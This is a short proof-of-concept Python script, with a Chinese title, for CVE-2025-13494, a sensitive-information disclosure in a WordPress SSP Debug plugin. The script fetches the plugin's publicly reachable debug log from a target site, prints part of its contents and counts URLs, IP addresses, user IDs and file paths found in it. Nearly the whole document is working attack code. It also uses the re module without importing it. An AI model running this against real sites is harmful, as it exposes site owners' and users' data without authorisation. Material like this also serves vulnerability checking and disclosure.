CVE-2025-13494 WordPress SSP Debug插件敏感信息泄露漏洞

# CVE-2025-13494 PoC - WordPress SSP Debug Sensitive Information Disclosure # Author: Security Researcher # Date: 2025-12-05 import requests import sys def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-13494 """ # Construct the path to the debug log file log_path = "/wp-content/uploads/ssp-debug/ssp-debug.log" full_url = target_url.rstrip('/') + log_path print(f"[*] Target: {target_url}") print(f"[*] Checking log file: {full_url}") try: response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[!] VULNERABLE - Log file is accessible!") print(f"[+] Content length: {len(response.text)} bytes") print("\n[+] Log file contents (first 2000 chars):") print("-" * 50) print(response.text[:2000]) # Search for sensitive information patterns sensitive_patterns = { 'URLs': r'https?://[^\s]+', 'IP Addresses': r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', 'User IDs': r'user[_\s]?id[^"]*[:=][^",]+', 'File Paths': r'/[a-zA-Z0-9_/\-\.]+' } print("\n[+] Extracted sensitive information:") for pattern_name, pattern in sensitive_patterns.items(): matches = set(re.findall(pattern, response.text, re.IGNORECASE)) if matches: print(f" {pattern_name}: {len(matches)} found") return True elif response.status_code == 403: print("[-] Access forbidden - may be patched or protected") return False else: print(f"[-] Log file not found (HTTP {response.status_code})") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL: ").strip() check_vulnerability(target) # Usage: python cve-2025-13494.py https://example.com